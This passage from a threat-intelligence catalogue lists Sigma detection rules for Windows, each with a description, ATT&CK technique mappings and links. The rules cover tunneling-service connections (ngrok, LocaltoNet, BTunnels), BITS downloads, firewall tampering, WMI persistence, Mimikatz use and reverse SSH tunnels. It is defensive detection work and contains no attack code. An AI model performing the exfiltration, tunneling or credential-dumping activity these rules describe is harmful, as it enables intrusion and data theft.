https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_dropbox_api.yml

Communication To Ngrok Tunneling Service Initiated

Detects an executable initiating a network connection to "ngrok" tunneling domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration

by malicious actors or additional download.

The tag is: *misp-galaxy:sigma-rules="Communication To Ngrok Tunneling Service Initiated"*

View relationships graph

Communication To Ngrok Tunneling Service Initiated has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 16075. Table References

Links
https://twitter.com/hakluke/status/1587733971814977537/photo/1
https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_ngrok_tunnel.yml

Communication To LocaltoNet Tunneling Service Initiated

Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.

The tag is: *misp-galaxy:sigma-rules="Communication To LocaltoNet Tunneling Service Initiated"*

View relationships graph

Communication To LocaltoNet Tunneling Service Initiated has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-

language:likelihood-probability="almost-certain"

Table 16076. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/unc3944-targets-saas-applications
https://localtonet.com/documents/supported-tunnels
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_localtonet_tunnel.yml

Network Connection Initiated To BTunnels Domains

Detects network connections to BTunnels domains initiated by a process on the system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

The tag is: *misp-galaxy:sigma-rules="Network Connection Initiated To BTunnels Domains"*

View relationships graph

Network Connection Initiated To BTunnels Domains has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 16077. Table References

Links
https://defr0ggy.github.io/research/Utilizing-BTunnel-For-Data-Exfiltration/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_btunnels.yml

Potential Remote PowerShell Session Initiated

Detects a process that initiated a network connection over ports 5985 or 5986 from a non-network service account. This could potentially indicates a remote PowerShell connection.

The tag is: *misp-galaxy:sigma-rules="Potential Remote PowerShell Session Initiated"*

View relationships graph

Potential Remote PowerShell Session Initiated has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"

Table 16078. Table References

Links
https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_remote_powershell_session.yml

Remote Access Tool - AnyDesk Incoming Connection

Detects incoming connections to AnyDesk. This could indicate a potential remote attacker trying to connect to a listening instance of AnyDesk and use it as potential command and control channel.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - AnyDesk Incoming Connection"*

View relationships graph

Remote Access Tool - AnyDesk Incoming Connection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 16079. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows
https://asec.ahnlab.com/en/40263/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_remote_access_tools_anydesk_incoming_connection.yml

Potentially Suspicious Malware Callback Communication

Detects programs that connect to known malware callback ports based on statistical analysis from two different sandbox system databases

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Malware Callback Communication"*

View relationships graph

Potentially Suspicious Malware Callback Communication has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

Table 16080. Table References

Links
https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_malware_callback_port.yml

Network Connection Initiated By Eqnedt32.EXE

Detects network connections from the Equation Editor process "eqnedt32.exe".

The tag is: *misp-galaxy:sigma-rules="Network Connection Initiated By Eqnedt32.EXE"*

View relationships graph

Network Connection Initiated By Eqnedt32.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

Table 16081. Table References

Links
https://news.sophos.com/en-us/2019/07/18/a-new-equation-editor-exploit-goes-commercial-as-maldoc-attacks-using-it-spike/
https://twitter.com/forensicitguy/status/1513538712986079238
https://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_eqnedt.yml

Suspicious Network Connection to IP Lookup Service APIs

Detects external IP address lookups by non-browser processes via services such as "api.ipify.org". This could be indicative of potential post compromise internet test activity.

The tag is: *misp-galaxy:sigma-rules="Suspicious Network Connection to IP Lookup Service APIs"*

View relationships graph

Suspicious Network Connection to IP Lookup Service APIs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 16082. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-302a

https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/
https://github.com/rsp/scripts/blob/c8bb272d68164a9836e4f273d8f924927f39b8c6/externalip-benchmark.md
https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_external_ip_lookup.yml

Network Connection Initiated From Process Located In Potentially Suspicious Or Uncommon Location

Detects a network connection initiated by programs or processes running from suspicious or uncommon files system locations.

The tag is: *misp-galaxy:sigma-rules="Network Connection Initiated From Process Located In Potentially Suspicious Or Uncommon Location"*

View relationships graph

Network Connection Initiated From Process Located In Potentially Suspicious Or Uncommon Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 16083. Table References

Links
https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_initiated_uncommon_or_suspicious_locations.yml

Outbound Network Connection To Public IP Via Winlogon

Detects a "winlogon.exe" process that initiate network communications with public IP addresses

The tag is: *misp-galaxy:sigma-rules="Outbound Network Connection To Public IP Via Winlogon"*

View relationships graph

Outbound Network Connection To Public IP Via Winlogon has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 16084. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_winlogon_net_connections.yml

Uncommon Network Connection Initiated By Certutil.EXE

Detects a network connection initiated by the certutil.exe utility. Attackers can abuse the utility in order to download malware or additional payloads.

The tag is: *misp-galaxy:sigma-rules="Uncommon Network Connection Initiated By Certutil.EXE"*

View relationships graph

Uncommon Network Connection Initiated By Certutil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 16085. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_certutil_initiated_connection.yml

New Connection Initiated To Potential Dead Drop Resolver Domain

Detects an executable, which is not an internet browser or known application, initiating network connections to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks. In this context attackers leverage known websites such as "facebook", "youtube", etc. In order to pass through undetected.

The tag is: *misp-galaxy:sigma-rules="New Connection Initiated To Potential Dead Drop Resolver Domain"*

View relationships graph

New Connection Initiated To Potential Dead Drop Resolver Domain has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 16086. Table References

Links
https://twitter.com/kleiton0x7e/status/1600567316810551296
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/
https://blog.bushidotoken.net/2021/04/dead-drop-resolvers-espionage-inspired.html
https://www.linkedin.com/posts/kleiton-kurti_github-kleiton0x00redditc2-abusing-reddit-activity-7009939662462984192-5DbI/?originalSubdomain=al
https://web.archive.org/web/20220830134315/https://content.fireeye.com/apt-41/rpt-apt41/
https://github.com/kleiton0x00/RedditC2
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_dead_drop_resolvers.yml

Suspicious Wordpad Outbound Connections

Detects a network connection initiated by "wordpad.exe" over uncommon destination ports. This might indicate potential process injection activity from a beacon or similar mechanisms.

The tag is: *misp-galaxy:sigma-rules="Suspicious Wordpad Outbound Connections"*

Table 16087. Table References

Links
https://blogs.blackberry.com/en/2023/07/romcom-targets-ukraine-nato-membership-talks-at-nato-summit
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_wordpad_uncommon_ports.yml

Potential Defense Evasion Via Raw Disk Access By Uncommon Tools

Detects raw disk access using uncommon tools or tools that are located in suspicious locations (heavy filtering is required), which could indicate possible defense evasion attempts

The tag is: *misp-galaxy:sigma-rules="Potential Defense Evasion Via Raw Disk Access By Uncommon Tools"*

View relationships graph

Potential Defense Evasion Via Raw Disk Access By Uncommon Tools has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Direct Volume Access - T1006" with estimative-

language:likelihood-probability="almost-certain"

Table 16088. Table References

Links
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/raw_access_thread/raw_access_thread_susp_disk_access_using_uncommon_tools.yml

Mimikatz Use

This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups)

The tag is: *misp-galaxy:sigma-rules="Mimikatz Use"*

View relationships graph

Mimikatz Use has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"

Table 16089. Table References

Links
https://tools.thehacker.recipes/mimikatz/modules
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/win_alert_mimikatz_keywords.yml

Ngrok Usage with Remote Desktop Service

Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour

The tag is: *misp-galaxy:sigma-rules="Ngrok Usage with Remote Desktop Service"*

View relationships graph

Ngrok Usage with Remote Desktop Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 16090. Table References

Links
https://ngrok.com/
https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/terminalservices/win_terminalservices_rdp_ngrok.yml

BITS Transfer Job Downloading File Potential Suspicious Extension

Detects new BITS transfer job saving local files with potential suspicious extensions

The tag is: *misp-galaxy:sigma-rules="BITS Transfer Job Downloading File Potential Suspicious Extension"*

View relationships graph

BITS Transfer Job Downloading File Potential Suspicious Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

Table 16091. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_saving_susp_extensions.yml

New BITS Job Created Via PowerShell

Detects the creation of a new bits job by PowerShell

The tag is: *misp-galaxy:sigma-rules="New BITS Job Created Via PowerShell"*

View relationships graph

New BITS Job Created Via PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

Table 16092. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_job_via_powershell.yml

BITS Transfer Job With Uncommon Or Suspicious Remote TLD

Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.

The tag is: *misp-galaxy:sigma-rules="BITS Transfer Job With Uncommon Or Suspicious Remote TLD"*

View relationships graph

BITS Transfer Job With Uncommon Or Suspicious Remote TLD has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

Table 16093. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md
https://twitter.com/malmoeb/status/1535142803075960832
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_via_uncommon_tld.yml

BITS Transfer Job Download From File Sharing Domains

Detects BITS transfer job downloading files from a file sharing domain.

The tag is: *misp-galaxy:sigma-rules="BITS Transfer Job Download From File Sharing Domains"*

View relationships graph

BITS Transfer Job Download From File Sharing Domains has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

Table 16094. Table References

Links

https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://twitter.com/malmoeb/status/1535142803075960832
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_via_file_sharing_domains.yml

BITS Transfer Job Download To Potential Suspicious Folder

Detects new BITS transfer job where the LocalName/Saved file is stored in a potentially suspicious location

The tag is: *misp-galaxy:sigma-rules="BITS Transfer Job Download To Potential Suspicious Folder"*

View relationships graph

BITS Transfer Job Download To Potential Suspicious Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

Table 16095. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_trasnfer_susp_local_folder.yml

New BITS Job Created Via Bitsadmin

Detects the creation of a new bits job by Bitsadmin

The tag is: *misp-galaxy:sigma-rules="New BITS Job Created Via Bitsadmin"*

View relationships graph

New BITS Job Created Via Bitsadmin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

Table 16096. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_job_via_bitsadmin.yml

BITS Transfer Job Download From Direct IP

Detects a BITS transfer job downloading file(s) from a direct IP address.

The tag is: *misp-galaxy:sigma-rules="BITS Transfer Job Download From Direct IP"*

View relationships graph

BITS Transfer Job Download From Direct IP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

Table 16097. Table References

Links
https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/
https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/
https://isc.sans.edu/diary/22264
https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_via_ip_address.yml

AppLocker Prevented Application or Script from Running

Detects when AppLocker prevents the execution of an Application, DLL, Script, MSI, or Packaged-App from running.

The tag is: *misp-galaxy:sigma-rules="AppLocker Prevented Application or Script from Running"*

View relationships graph

AppLocker Prevented Application or Script from Running has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 16098. Table References

Links
https://nxlog.co/documentation/nxlog-user-guide/applocker.html
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/applocker/what-is-applocker
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/applocker/using-event-viewer-with-applocker
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/applocker/win_applocker_application_was_prevented_from_running.yml

WMI Persistence

Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.

The tag is: *misp-galaxy:sigma-rules="WMI Persistence"*

View relationships graph

WMI Persistence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 16099. Table References

Links
https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/
https://twitter.com/mattifestation/status/899646620148539397
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/wmi/win_wmi_persistence.yml

Windows Defender Firewall Has Been Reset To Its Default Configuration

Detects activity when Windows Defender Firewall has been reset to its default configuration

The tag is: *misp-galaxy:sigma-rules="Windows Defender Firewall Has Been Reset To Its Default Configuration"*

View relationships graph

Windows Defender Firewall Has Been Reset To Its Default Configuration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 16100. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_reset_config.yml

The Windows Defender Firewall Service Failed To Load Group Policy

Detects activity when The Windows Defender Firewall service failed to load Group Policy

The tag is: *misp-galaxy:sigma-rules="The Windows Defender Firewall Service Failed To Load Group Policy"*

View relationships graph

The Windows Defender Firewall Service Failed To Load Group Policy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 16101. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_failed_load_gpo.yml

All Rules Have Been Deleted From The Windows Firewall Configuration

Detects when a all the rules have been deleted from the Windows Defender Firewall configuration

The tag is: *misp-galaxy:sigma-rules="All Rules Have Been Deleted From The Windows Firewall Configuration"*

View relationships graph

All Rules Have Been Deleted From The Windows Firewall Configuration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 16102. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_delete_all_rules.yml

Uncommon New Firewall Rule Added In Windows Firewall Exception List

Detects when a rule has been added to the Windows Firewall exception list

The tag is: *misp-galaxy:sigma-rules="Uncommon New Firewall Rule Added In Windows Firewall Exception List"*

View relationships graph

Uncommon New Firewall Rule Added In Windows Firewall Exception List has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 16103. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_add_rule.yml

New Firewall Rule Added In Windows Firewall Exception List Via WmiPrvSE.EXE

Detects the addition of a new "Allow" firewall rule by the WMI process (WmiPrvSE.EXE). This can occur if an attacker leverages PowerShell cmdlets such as "New-NetFirewallRule", or directly uses WMI CIM classes such as "MSFT_NetFirewallRule".

The tag is: *misp-galaxy:sigma-rules="New Firewall Rule Added In Windows Firewall Exception List Via WmiPrvSE.EXE"*

View relationships graph

New Firewall Rule Added In Windows Firewall Exception List Via WmiPrvSE.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 16104. Table References

Links
https://malware.news/t/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/72170
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.004/T1562.004.md#atomic-test-24---set-a-firewall-rule-using-new-netfirewallrule
https://cybersecuritynews.com/rhysida-ransomware-attacking-windows/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_add_rule_wmiprvse.yml

Windows Firewall Settings Have Been Changed

Detects activity when the settings of the Windows firewall have been changed

The tag is: *misp-galaxy:sigma-rules="Windows Firewall Settings Have Been Changed"*

View relationships graph

Windows Firewall Settings Have Been Changed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 16105. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_setting_change.yml

New Firewall Rule Added In Windows Firewall Exception List For Potential Suspicious Application

Detects the addition of a new rule to the Windows Firewall exception list for an application located in a potentially suspicious location.

The tag is: *misp-galaxy:sigma-rules="New Firewall Rule Added In Windows Firewall Exception List For Potential Suspicious Application"*

View relationships graph

New Firewall Rule Added In Windows Firewall Exception List For Potential Suspicious Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 16106. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)
<a href="https://app.any.run/tasks/7123e948-c91e-49e0-a813-00e8d72ab393/<mark>">https://app.any.run/tasks/7123e948-c91e-49e0-a813-00e8d72ab393/</mark>
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_add_rule_susp_folder.yml

A Rule Has Been Deleted From The Windows Firewall Exception List

Detects when a single rules or all of the rules have been deleted from the Windows Defender Firewall

The tag is: *misp-galaxy:sigma-rules="A Rule Has Been Deleted From The Windows Firewall Exception List"*

View relationships graph

A Rule Has Been Deleted From The Windows Firewall Exception List has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 16107. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_delete_rule.yml

Loading Diagcab Package From Remote Path

Detects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability

The tag is: *misp-galaxy:sigma-rules="Loading Diagcab Package From Remote Path"*

Table 16108. Table References

Links
https://twitter.com/nas_bench/status/1539679555908141061
https://twitter.com/j00sean/status/1537750439701225472
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/diagnosis/scripted/win_diagnosis_scripted_load_remote_diagcab.yml

WMI Persistence - Security

Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.

The tag is: *misp-galaxy:sigma-rules="WMI Persistence - Security"*

View relationships graph

WMI Persistence - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 16109. Table References

Links
https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/
https://twitter.com/mattifestation/status/899646620148539397
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmi_persistence.yml

RDP over Reverse SSH Tunnel WFP

Detects svchost hosting RDP termsvcs communicating with the loopback address

The tag is: *misp-galaxy:sigma-rules="RDP over Reverse SSH Tunnel WFP"*

View relationships graph

RDP over Reverse SSH Tunnel WFP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 16110. Table References

Links
https://twitter.com/SBousseaden/status/1096148422984384514
https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/44fbe85f72ee91582876b49678f9a26292a155fb/Command%20and%20Control/DE_RDP_Tunnel_5156.evtx
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_reverse_tunnel.yml

Processes Accessing the Microphone and Webcam

Potential adversaries accessing the microphone and webcam in an endpoint.

The tag is: *misp-galaxy:sigma-rules="Processes Accessing the Microphone and Webcam"*

View relationships graph

Processes Accessing the Microphone and Webcam has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

Table 16111. Table References

Links
https://twitter.com/duzvik/status/1269671601852813320
https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_camera_microphone_access.yml

User Couldn’t Call a Privileged Service 'LsaRegisterLogonProcess'

The 'LsaRegisterLogonProcess' function verifies that the application making the function call is a logon process by checking that it has the SeTcbPrivilege privilege set. Possible Rubeus tries to get a handle to LSA.

The tag is: *misp-galaxy:sigma-rules="User Couldn’t Call a Privileged Service 'LsaRegisterLogonProcess'"*

View relationships graph

User Couldn’t Call a Privileged Service 'LsaRegisterLogonProcess' has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 16112. Table References

Links
https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml

Invoke-Obfuscation Via Stdin - Security

Detects Obfuscated Powershell via Stdin in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Stdin - Security"*

View relationships graph

Invoke-Obfuscation Via Stdin - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16113. Table References

Links
